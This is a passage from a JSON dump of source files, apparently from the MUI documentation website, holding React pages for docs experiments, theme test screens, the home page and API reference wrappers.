    "path": "docs/pages/experiments/docs/markdown.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from './markdown.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/markdown.md",
    "content": "# Markdown\n\n<p class=\"description\">Markdown.</p>\n\n## Inline code block\n\nUse backticks to add `codeblocks` such as this one.\n\n`Superlongwordwithoutspacessuperlongwordwithoutspacessuperlongwordwithoutspacessuperlongwordwithoutspacessuperlongwordwithoutspacessuperlongwordwithoutspaces`\n\n## Nested lists\n\n- First item\n  - First item\n  - Second item\n- Second item\n  - First item\n  - Second item\n\n## Tight lists\n\nhttps://spec.commonmark.org/0.30/#tight\n\n- First item\n- Second item\n- Third item\n\n## Loose lists\n\nhttps://spec.commonmark.org/0.30/#loose\n\n- Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Id semper risus in hendrerit gravida rutrum quisque non tellus.\n\n- Rhoncus dolor purus non enim praesent. Turpis egestas sed tempus urna et pharetra pharetra massa.\n\n- Leo vel orci porta non pulvinar neque. Faucibus interdum posuere lorem ipsum dolor sit amet consectetur.\n\n## Link\n\nhttps://spec.commonmark.org/0.30/#links\n\n- Link [with a title](#link 'Stay on the same page').\n\n## Disclosure element\n\n<details>\n<summary>Primary</summary>\n\n```js\nconst primary = {\n  50: '#F4FAFF',\n  100: '#DDF1FF',\n  200: '#ADDBFF',\n};\n\nextendTheme({\n  colorSchemes: {\n    light: {\n      palette: {\n        primary: {\n          ...primary,\n          plainColor: `var(--joy-palette-primary-600)`,\n          plainHoverBg: `var(--joy-palette-primary-100)`,\n          plainActiveBg: `var(--joy-palette-primary-200)`,\n          plainDisabledColor: `var(--joy-palette-primary-200)`,\n        },\n      },\n    },\n  },\n});\n```\n\n</details>\n\n## kbd tag\n\nMake sure to include the `class=\"key\"` declaration in each individual `kbd` element.\n\nThat's because when referring to two keys that should be pressed together－for example, <kbd><kbd class=\"key\">Ctrl</kbd>+<kbd class=\"key\">N</kbd></kbd>－the `kbd` elements are wrapped by a parent `kbd`, and we don't add styles to just the tag.\n\n## This item is here to test a long table of contents instance\n\n### And here is another one right below it to see how it feels like one level down\n\n### Wordwithoutspaceasitwouldhappenwithapropdeclaration\n\nTable of contents word wrap test.\n"
  },
  {
    "path": "docs/pages/experiments/docs/og-card.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from './og-card.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/og-card.md",
    "content": "# OG Image\n\n<p class=\"description\">How the docs platform generate Open Graph card images.</p>\n\n## The edge function\n\nThe URL `mui.com/edge-functions/og-image` can be queried with 4 search parameters:\n\n- `product`: the text element displayed next to the MUI logo\n- `title`: the title which can contains `\\*` to delimit the highlighted (in blue) text sections\n- `description`: a paragraph added under the main title\n- `authors`: the GitHub username of the authors. It should be divided by a coma.\n\n## Usage with Markdown\n\nBy default, the card is generated using the page title and description.\nYou can override this behavior by providing different/specific `cardTitle` and `cardDescription` in the Markdown header, like so:\n\n```markup\n--\ncardTitle: A *different* title than the page title\ncardDecription: The word \"different\" on the title is highlighted\n--\n```\n\n## Card design preview\n\nVisit [this StackBlitz demo](https://stackblitz.com/edit/vitejs-vite-ukeejd?file=src%2FApp.tsx) to see how the card looks like without having to run a random page on an OG preview site.\n"
  },
  {
    "path": "docs/pages/experiments/docs/pro-feature.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from './pro-feature.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/pro-feature.md",
    "content": "---\ntitle: Pro feature\n---\n\n# Pro feature [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n<p class=\"description\">This is a Pro feature.</p>\n"
  },
  {
    "path": "docs/pages/experiments/index.js",
    "content": "import { capitalize } from '@mui/material/utils';\nimport Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport { Link } from '@mui/docs/Link';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\n\nexport default function Experiments({ experiments }) {\n  const categories = {};\n\n  experiments.forEach((name) => {\n    const paths = name.split('/');\n    const categoryName = paths.length === 1 ? 'Uncategorized' : capitalize(paths[0] || '');\n\n    if (!categories[categoryName]) {\n      categories[categoryName] = [];\n    }\n    categories[categoryName].push({\n      name: name\n        .replace(/^\\//, '')\n        .replace(/\\/$/, '')\n        .replace(`${categoryName.toLowerCase()}/`, ''),\n      pathname: `/experiments/${name}`,\n    });\n  });\n\n  return (\n    <BrandingCssVarsProvider>\n      <Box sx={{ display: 'flex', flexFlow: 'column nowrap', minHeight: '100vh' }}>\n        <Container>\n          <Box\n            sx={{\n              minHeight: 300,\n              display: 'flex',\n              flexDirection: 'column',\n              justifyContent: 'center',\n              alignItems: 'center',\n              maxWidth: 600,\n              mx: 'auto',\n              textAlign: 'center',\n            }}\n          >\n            <Typography variant=\"body2\" sx={{ color: 'primary.600', fontWeight: 'bold' }}>\n              Welcome to\n            </Typography>\n            <Typography component=\"h1\" variant=\"h2\" sx={{ my: 1 }}>\n              MUI <GradientText>Experiments</GradientText>\n            </Typography>\n            <Box sx={{ textAlign: 'left' }}>\n              <ul>\n                <Typography component=\"li\">\n                  The files under <code>/experiments/*</code> are committed to git.\n                </Typography>\n                <Typography component=\"li\">\n                  These URLs (start with <code>/experiments/*</code>) are not accessible in\n                  production.\n                </Typography>\n              </ul>\n            </Box>\n          </Box>\n        </Container>\n        <Box\n          sx={(theme) => ({\n            bgcolor: 'grey.50',\n            flexGrow: 1,\n            ...theme.applyStyles('dark', {\n              bgcolor: 'primaryDark.900',\n            }),\n          })}\n        >\n          <Container sx={{ py: { xs: 4, md: 8 } }}>\n            <Typography\n              variant=\"body2\"\n              sx={{ color: 'grey.600', fontWeight: 'bold', textAlign: 'center', mb: 2 }}\n            >\n              All Experiments ({experiments.length})\n            </Typography>\n            {experiments.length > 0 && (\n              <Box\n                sx={{\n                  display: 'grid',\n                  gap: 2,\n                  gridTemplateColumns: 'repeat(auto-fill, minmax(200px, 1fr))',\n                }}\n              >\n                {Object.entries(categories).map(([categoryName, children]) => (\n                  <Box key={categoryName} sx={{ pb: 2 }}>\n                    <Typography\n                      component=\"h2\"\n                      variant=\"body2\"\n                      sx={{ fontWeight: 500, color: 'grey.600', px: 1 }}\n                    >\n                      {categoryName}\n                    </Typography>\n                    <List>\n                      {(children || []).map((aPage) => {\n                        return (\n                          <ListItem key={aPage.pathname} disablePadding>\n                            <ListItemButton\n                              component={Link}\n                              noLinkStyle\n                              href={aPage.pathname}\n                              sx={{\n                                px: 1,\n                                py: 0.5,\n                                fontSize: '0.84375rem',\n                                fontWeight: 500,\n                                '&:hover, &:focus': { '& svg': { opacity: 1 } },\n                              }}\n                            >\n                              {aPage.name}\n                              <KeyboardArrowRightRounded\n                                sx={{\n                                  ml: 'auto',\n                                  fontSize: '1.125rem',\n                                  opacity: 0,\n                                  color: 'primary.main',\n                                }}\n                              />\n                            </ListItemButton>\n                          </ListItem>\n                        );\n                      })}\n                    </List>\n                  </Box>\n                ))}\n              </Box>\n            )}\n          </Container>\n        </Box>\n      </Box>\n    </BrandingCssVarsProvider>\n  );\n}\n\nexport async function getStaticProps() {\n  const experiments = [];\n  const req = require.context('./', true, /^\\.\\/.*(?<!index)\\.(js|tsx)$/);\n\n  req.keys().forEach((k) => {\n    experiments.push(k.replace(/^\\.\\/(.*)\\.(js|tsx)$/, '$1'));\n  });\n\n  return {\n    props: {\n      experiments,\n    },\n  };\n}\n"
  },
  {
    "path": "docs/pages/experiments/website/branding-theme-test.tsx",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport Chip from '@mui/material/Chip';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport Section from 'docs/src/layouts/Section';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport { Link } from '@mui/docs/Link';\nimport FormControl from '@mui/material/FormControl';\nimport InputLabel from '@mui/material/InputLabel';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\nimport MenuItem from '@mui/material/MenuItem';\nimport Checkbox from '@mui/material/Checkbox';\nimport Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Typography from '@mui/material/Typography';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function BrandingThemeTest() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event: SelectChangeEvent) => {\n    setAge(event.target.value as string);\n  };\n  return (\n    <BrandingCssVarsProvider>\n      <Head title=\"MUI Branding Theme Test\" description=\"\" />\n      <AppHeader gitHubRepository=\"https://github.com/mui/material-ui\" />\n      <main id=\"main-content\">\n        <Section>\n          <Stack direction=\"row\" spacing={2} useFlexGap sx={{ width: 'fit-content', mb: 4 }}>\n            <Link href=\"/\">Link with no role</Link>\n            <Link href=\"/\" role=\"menuitem\">\n              Link role menuitem\n            </Link>\n          </Stack>\n          <Stack direction=\"row\" spacing={2} useFlexGap sx={{ width: 'fit-content' }}>\n            <Chip size=\"small\" variant=\"outlined\" color=\"primary\" label=\"Hiring\" />\n            <Chip size=\"small\" variant=\"outlined\" color=\"info\" label=\"Hiring\" />\n            <Chip size=\"small\" variant=\"outlined\" color=\"error\" label=\"Hiring\" />\n            <Chip size=\"small\" variant=\"outlined\" color=\"warning\" label=\"Hiring\" />\n            <Chip size=\"small\" variant=\"outlined\" color=\"success\" label=\"Hiring\" />\n          </Stack>\n          <Stack direction=\"row\" spacing={2} useFlexGap sx={{ width: 'fit-content', mt: 8 }}>\n            <Button variant=\"contained\">This button</Button>\n            <Button variant=\"outlined\">This button</Button>\n            <Button variant=\"text\">This button</Button>\n          </Stack>\n          <Stack direction=\"row\" spacing={2} useFlexGap sx={{ width: 'fit-content', mt: 8 }}>\n            <Button variant=\"contained\" size=\"small\" color=\"primary\">\n              Contained primary\n            </Button>\n            <Button variant=\"contained\" size=\"small\" color=\"secondary\">\n              Contained secondary\n            </Button>\n            <Button variant=\"outlined\" size=\"small\" color=\"primary\">\n              Outlined primary\n            </Button>\n            <Button variant=\"outlined\" size=\"small\" color=\"secondary\">\n              Outlined secondary\n            </Button>\n            <Button variant=\"text\" size=\"small\">\n              This button\n            </Button>\n            <IconButton color=\"primary\">\n              <GitHubIcon fontSize=\"small\" />\n            </IconButton>\n            <IconButton color=\"info\">\n              <GitHubIcon fontSize=\"small\" />\n            </IconButton>\n            <IconButton>\n              <GitHubIcon fontSize=\"small\" />\n            </IconButton>\n          </Stack>\n          <Stack direction=\"row\" spacing={2} useFlexGap sx={{ width: 'fit-content', mt: 8 }}>\n            <Button variant=\"contained\" size=\"small\" color=\"primary\" disabled>\n              Contained primary\n            </Button>\n            <Button variant=\"contained\" size=\"small\" color=\"secondary\" disabled>\n              Contained secondary\n            </Button>\n            <Button variant=\"outlined\" size=\"small\" color=\"primary\" disabled>\n              Outlined primary\n            </Button>\n            <Button variant=\"outlined\" size=\"small\" color=\"secondary\" disabled>\n              Outlined secondary\n            </Button>\n            <Button variant=\"text\" size=\"small\" disabled>\n              This button\n            </Button>\n            <IconButton color=\"primary\">\n              <GitHubIcon fontSize=\"small\" />\n            </IconButton>\n            <IconButton color=\"info\">\n              <GitHubIcon fontSize=\"small\" />\n            </IconButton>\n            <IconButton>\n              <GitHubIcon fontSize=\"small\" />\n            </IconButton>\n          </Stack>\n          <Stack direction=\"column\" spacing={2} useFlexGap sx={{ width: 'fit-content', mt: 8 }}>\n            <Button variant=\"contained\" size=\"large\" color=\"primary\">\n              Large\n            </Button>\n            <Button variant=\"contained\" size=\"medium\" color=\"primary\">\n              Medium\n            </Button>\n            <Button variant=\"contained\" size=\"small\" color=\"primary\">\n              Small\n            </Button>\n          </Stack>\n          <Stack direction=\"row\" spacing={2} useFlexGap sx={{ width: 'fit-content', mt: 8 }}>\n            <FormControl sx={{ width: 120 }}>\n              <InputLabel id=\"demo-simple-select-label\">Age</InputLabel>\n              <Select\n                labelId=\"demo-simple-select-label\"\n                id=\"demo-simple-select\"\n                value={age}\n                label=\"Age\"\n                onChange={handleChange}\n              >\n                <MenuItem value={10}>Ten</MenuItem>\n                <MenuItem value={20}>Twenty</MenuItem>\n                <MenuItem value={30}>Thirty</MenuItem>\n              </Select>\n            </FormControl>\n            <FormControl size=\"small\" sx={{ width: 120 }}>\n              <InputLabel id=\"demo-simple-select-label\">Age</InputLabel>\n              <Select\n                labelId=\"demo-simple-select-label\"\n                id=\"demo-simple-select\"\n                value={age}\n                label=\"Age\"\n                onChange={handleChange}\n              >\n                <MenuItem value={10}>Ten</MenuItem>\n                <MenuItem value={20}>Twenty</MenuItem>\n                <MenuItem value={30}>Thirty</MenuItem>\n              </Select>\n            </FormControl>\n          </Stack>\n          <Stack direction=\"row\" spacing={2} useFlexGap sx={{ width: 'fit-content', mt: 8 }}>\n            <Checkbox {...label} defaultChecked />\n            <Checkbox {...label} />\n            <Checkbox {...label} disabled />\n            <Checkbox {...label} disabled checked />\n          </Stack>\n          <Stack direction=\"row\" spacing={2} useFlexGap sx={{ width: 'fit-content', mt: 8 }}>\n            <Card sx={{ maxWidth: 345 }}>\n              <CardMedia\n                sx={{ height: 140 }}\n                image=\"/static/images/cards/contemplative-reptile.jpg\"\n                title=\"green iguana\"\n              />\n              <CardContent>\n                <Typography gutterBottom variant=\"h6\">\n                  Lizard\n                </Typography>\n                <Typography variant=\"body2\">\n                  Lizards are a widespread group of squamate reptiles, with over 6,000 species,\n                  ranging across all continents except Antarctica\n                </Typography>\n              </CardContent>\n              <CardActions>\n                <Button size=\"small\">Share</Button>\n                <Button size=\"small\">Learn More</Button>\n              </CardActions>\n            </Card>\n            <Card variant=\"elevation\" sx={{ maxWidth: 345 }}>\n              <CardMedia\n                sx={{ height: 140 }}\n                image=\"/static/images/cards/contemplative-reptile.jpg\"\n                title=\"green iguana\"\n              />\n              <CardContent>\n                <Typography gutterBottom variant=\"h6\">\n                  Lizard\n                </Typography>\n                <Typography variant=\"body2\">\n                  Lizards are a widespread group of squamate reptiles, with over 6,000 species,\n                  ranging across all continents except Antarctica\n                </Typography>\n              </CardContent>\n              <CardActions>\n                <Button size=\"small\">Share</Button>\n                <Button size=\"small\">Learn More</Button>\n              </CardActions>\n            </Card>\n            <Card variant=\"outlined\" sx={{ maxWidth: 345 }}>\n              <CardMedia\n                sx={{ height: 140 }}\n                image=\"/static/images/cards/contemplative-reptile.jpg\"\n                title=\"green iguana\"\n              />\n              <CardContent>\n                <Typography gutterBottom variant=\"h6\">\n                  Lizard\n                </Typography>\n                <Typography variant=\"body2\">\n                  Lizards are a widespread group of squamate reptiles, with over 6,000 species,\n                  ranging across all continents except Antarctica\n                </Typography>\n              </CardContent>\n              <CardActions>\n                <Button size=\"small\">Share</Button>\n                <Button size=\"small\">Learn More</Button>\n              </CardActions>\n            </Card>\n          </Stack>\n        </Section>\n        <Divider />\n      </main>\n      <AppFooter stackOverflowUrl=\"https://stackoverflow.com/questions/tagged/material-ui\" />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/experiments/website/dashboard-template-theme.tsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport Container from '@mui/material/Container';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport LinearProgress from '@mui/material/LinearProgress';\nimport Link from '@mui/material/Link';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport Stack from '@mui/material/Stack';\nimport Tab from '@mui/material/Tab';\nimport Tabs from '@mui/material/Tabs';\nimport Typography from '@mui/material/Typography';\n\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\nimport NotificationsRoundedIcon from '@mui/icons-material/NotificationsRounded';\n\nimport Head from 'docs/src/modules/components/Head';\nimport AppTheme from 'docs/data/material/getting-started/templates/shared-theme/AppTheme';\nimport ColorModeIconDropdown from 'docs/data/material/getting-started/templates/shared-theme/ColorModeIconDropdown';\nimport {\n  chartsCustomizations,\n  dataGridCustomizations,\n  datePickersCustomizations,\n  treeViewCustomizations,\n} from 'docs/data/material/getting-started/templates/dashboard/theme/customizations';\nimport CustomDatePicker from 'docs/data/material/getting-started/templates/dashboard/components/CustomDatePicker';\n\nconst xThemeComponents = {\n  ...chartsCustomizations,\n  ...dataGridCustomizations,\n  ...datePickersCustomizations,\n  ...treeViewCustomizations,\n};\n\nfunction CustomTabPanel(props: { [x: string]: any; children: any; value: any; index: any }) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <div\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`simple-tabpanel-${index}`}\n      aria-labelledby={`simple-tab-${index}`}\n      {...other}\n    >\n      {value === index && (\n        <Box sx={{ p: 3 }}>\n          <Typography>{children}</Typography>\n        </Box>\n      )}\n    </div>\n  );\n}\n\nCustomTabPanel.propTypes = {\n  children: PropTypes.node,\n  index: PropTypes.number.isRequired,\n  value: PropTypes.number.isRequired,\n};\n\nfunction a11yProps(index: number) {\n  return {\n    id: `simple-tab-${index}`,\n    'aria-controls': `simple-tabpanel-${index}`,\n  };\n}\n\nexport default function DashboardTemplateTheme() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n  const [value, setValue] = React.useState(0);\n  const handleChange = (_event: any, newValue: React.SetStateAction<number>) => {\n    setValue(newValue);\n  };\n\n  return (\n    <AppTheme themeComponents={xThemeComponents}>\n      <CssBaseline />\n      <Head title=\"MUI Branding Theme Test\" description=\"\" />\n      <Container\n        component=\"main\"\n        maxWidth=\"xl\"\n        id=\"main-content\"\n        sx={{ display: 'flex', flexDirection: 'column', gap: 2, my: 2 }}\n      >\n        <Stack\n          direction={{ xs: 'column', md: 'row' }}\n          sx={{ alignItems: 'flex-end', justifyContent: 'space-between', gap: 2 }}\n        >\n          <Typography variant=\"h4\" component=\"h1\">\n            Dashboard template theme\n          </Typography>\n          <ColorModeIconDropdown />\n        </Stack>\n        <Divider />\n        <Stack direction=\"column\" sx={{ gap: 2 }}>\n          <Stack direction=\"row\" sx={{ gap: 2, alignItems: 'center' }}>\n            <Button variant=\"contained\">Contained</Button>\n            <Button variant=\"outlined\">Outlined</Button>\n            <Button variant=\"text\">Text</Button>\n            <Button variant=\"contained\" size=\"small\">\n              Contained\n            </Button>\n            <Button variant=\"outlined\" size=\"small\">\n              Outlined\n            </Button>\n            <Button variant=\"text\" size=\"small\">\n              Text\n            </Button>\n          </Stack>\n          <Stack direction=\"row\" sx={{ gap: 2, alignItems: 'center' }}>\n            <Button variant=\"contained\" color=\"secondary\">\n              Contained\n            </Button>\n            <Button variant=\"outlined\" color=\"secondary\">\n              Outlined\n            </Button>\n            <Button variant=\"text\" color=\"secondary\">\n              Text\n            </Button>\n            <Button variant=\"contained\" color=\"secondary\" size=\"small\">\n              Contained\n            </Button>\n            <Button variant=\"outlined\" color=\"secondary\" size=\"small\">\n              Outlined\n            </Button>\n            <Button variant=\"text\" color=\"secondary\" size=\"small\">\n              Text\n            </Button>\n          </Stack>\n          <Stack direction=\"row\" sx={{ gap: 2, alignItems: 'center' }}>\n            <IconButton>\n              <NotificationsRoundedIcon />\n            </IconButton>\n            <IconButton size=\"small\">\n              <NotificationsRoundedIcon />\n            </IconButton>\n          </Stack>\n        </Stack>\n        <Stack direction=\"row\" sx={{ gap: 2 }}>\n          <Card sx={{ width: 250 }}>\n            <CardContent>\n              <Typography gutterBottom sx={{ color: 'text.secondary', fontSize: 14 }}>\n                Word of the Day\n              </Typography>\n              <Typography variant=\"h5\" component=\"div\">\n                be•nev•o•lent\n              </Typography>\n              <Typography sx={{ color: 'text.secondary', mb: 1.5 }}>adjective</Typography>\n              <Typography variant=\"body2\">\n                well meaning and kindly.\n                <br />\n                {'\"a benevolent smile\"'}\n              </Typography>\n            </CardContent>\n            <CardActions>\n              <Button size=\"small\">Learn More</Button>\n            </CardActions>\n          </Card>\n          <Card variant=\"outlined\" sx={{ width: 250 }}>\n            <CardContent>\n              <Typography gutterBottom sx={{ color: 'text.secondary', fontSize: 14 }}>\n                Word of the Day\n              </Typography>\n              <Typography variant=\"h5\" component=\"div\">\n                be•nev•o•lent\n              </Typography>\n              <Typography sx={{ color: 'text.secondary', mb: 1.5 }}>adjective</Typography>\n              <Typography variant=\"body2\">\n                well meaning and kindly.\n                <br />\n                {'\"a benevolent smile\"'}\n              </Typography>\n            </CardContent>\n            <CardActions>\n              <Button size=\"small\">Learn More</Button>\n            </CardActions>\n          </Card>\n        </Stack>\n        <LinearProgress variant=\"determinate\" value={50} sx={{ width: 250 }} />\n        <Link href=\"/\" sx={{ maxWidth: 'fit-content' }}>\n          Link\n        </Link>\n        <Stack direction=\"row\" sx={{ gap: 2, alignItems: 'center' }}>\n          <IconButton size=\"small\" onClick={handleClick} sx={{ maxWidth: 'fit-content' }}>\n            <MoreVertIcon />\n          </IconButton>\n          <Menu\n            anchorEl={anchorEl}\n            id=\"menu\"\n            open={open}\n            onClose={handleClose}\n            onClick={handleClose}\n            transformOrigin={{ horizontal: 'right', vertical: 'top' }}\n            anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n          >\n            <MenuItem onClick={handleClose}>Profile</MenuItem>\n            <MenuItem onClick={handleClose}>My account</MenuItem>\n            <Divider />\n            <MenuItem onClick={handleClose}>Add another account</MenuItem>\n            <MenuItem onClick={handleClose}>Settings</MenuItem>\n            <MenuItem onClick={handleClose}>Logout</MenuItem>\n          </Menu>\n          <CustomDatePicker />\n        </Stack>\n        <Stack direction=\"row\" sx={{ gap: 2, alignItems: 'center' }}>\n          <OutlinedInput placeholder=\"Outlined input\" />\n          <OutlinedInput size=\"small\" placeholder=\"Outlined input\" />\n        </Stack>\n        <Stack direction=\"row\" sx={{ gap: 2, alignItems: 'center' }}>\n          <Box\n            sx={{\n              height: 250,\n              width: 250,\n              backgroundColor: 'background.default',\n              border: '1px dashed',\n              borderColor: 'divider',\n            }}\n          />\n          <Box\n            sx={{\n              height: 250,\n              width: 250,\n              backgroundColor: 'background.paper',\n              border: '1px dashed',\n              borderColor: 'divider',\n            }}\n          />\n        </Stack>\n        <Box sx={{ width: 'fit-content' }}>\n          <Box sx={{ borderBottom: 1, borderColor: 'divider' }}>\n            <Tabs value={value} onChange={handleChange} aria-label=\"basic tabs example\">\n              <Tab label=\"Item One\" {...a11yProps(0)} />\n              <Tab label=\"Item Two\" {...a11yProps(1)} />\n              <Tab label=\"Item Three\" {...a11yProps(2)} />\n            </Tabs>\n          </Box>\n          <CustomTabPanel value={value} index={0}>\n            Item One\n          </CustomTabPanel>\n          <CustomTabPanel value={value} index={1}>\n            Item Two\n          </CustomTabPanel>\n          <CustomTabPanel value={value} index={2}>\n            Item Three\n          </CustomTabPanel>\n        </Box>\n      </Container>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/global.css",
    "content": "@import 'tailwindcss/theme.css' layer(theme);\n@import 'tailwindcss/utilities.css' layer(utilities);\n@config '../tailwind.config.mjs';\n"
  },
  {
    "path": "docs/pages/index.tsx",
    "content": "import NoSsr from '@mui/material/NoSsr';\nimport Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport Hero from 'docs/src/components/home/Hero';\nimport References, { CORE_CUSTOMERS } from 'docs/src/components/home/References';\nimport ProductSuite from 'docs/src/components/home/ProductSuite';\nimport ValueProposition from 'docs/src/components/home/ValueProposition';\nimport DesignSystemComponents from 'docs/src/components/home/DesignSystemComponents';\nimport Testimonials from 'docs/src/components/home/Testimonials';\nimport Sponsors from 'docs/src/components/home/Sponsors';\nimport HeroEnd from 'docs/src/components/home/HeroEnd';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport NewsletterToast from 'docs/src/components/home/NewsletterToast';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\n\nexport default function Home() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"MUI: The React component library you always wanted\"\n        description=\"MUI provides a simple, customizable, and accessible library of React components. Follow your own design system, or start with Material Design.\"\n        card=\"/static/social-previews/home-preview.jpg\"\n      >\n        <script\n          type=\"application/ld+json\"\n          // eslint-disable-next-line react/no-danger\n          dangerouslySetInnerHTML={{\n            __html: JSON.stringify({\n              '@context': 'https://schema.org',\n              '@type': 'Organization',\n              name: 'MUI',\n              url: 'https://mui.com/',\n              logo: 'https://mui.com/static/logo.png',\n              sameAs: [\n                'https://x.com/MUI_hq',\n                'https://github.com/mui/',\n                'https://opencollective.com/mui-org',\n              ],\n            }),\n          }}\n        />\n      </Head>\n      <NoSsr>\n        <NewsletterToast />\n      </NoSsr>\n      <AppHeaderBanner />\n      <AppHeader />\n      <main id=\"main-content\">\n        <Hero />\n        <References companies={CORE_CUSTOMERS} />\n        <Divider />\n        <ProductSuite />\n        <Divider />\n        <ValueProposition />\n        <Divider />\n        <DesignSystemComponents />\n        <Divider />\n        <Testimonials />\n        <Divider />\n        <Sponsors />\n        <Divider />\n        <HeroEnd />\n        <Divider />\n      </main>\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/about-the-lab.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/about-the-lab/about-the-lab.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/all-components/index.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/all-components/all-components.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/api/accordion-actions.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './accordion-actions.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/accordion-actions',\n    false,\n    /\\.\\/accordion-actions.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/accordion-actions.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disableSpacing\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"AccordionActions\",\n  \"imports\": [\n    \"import AccordionActions from '@mui/material/AccordionActions';\",\n    \"import { AccordionActions } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiAccordionActions-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"spacing\",\n      \"className\": \"MuiAccordionActions-spacing\",\n      \"description\": \"Styles applied to the root element unless `disableSpacing={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAccordionActions\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/AccordionActions/AccordionActions.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a 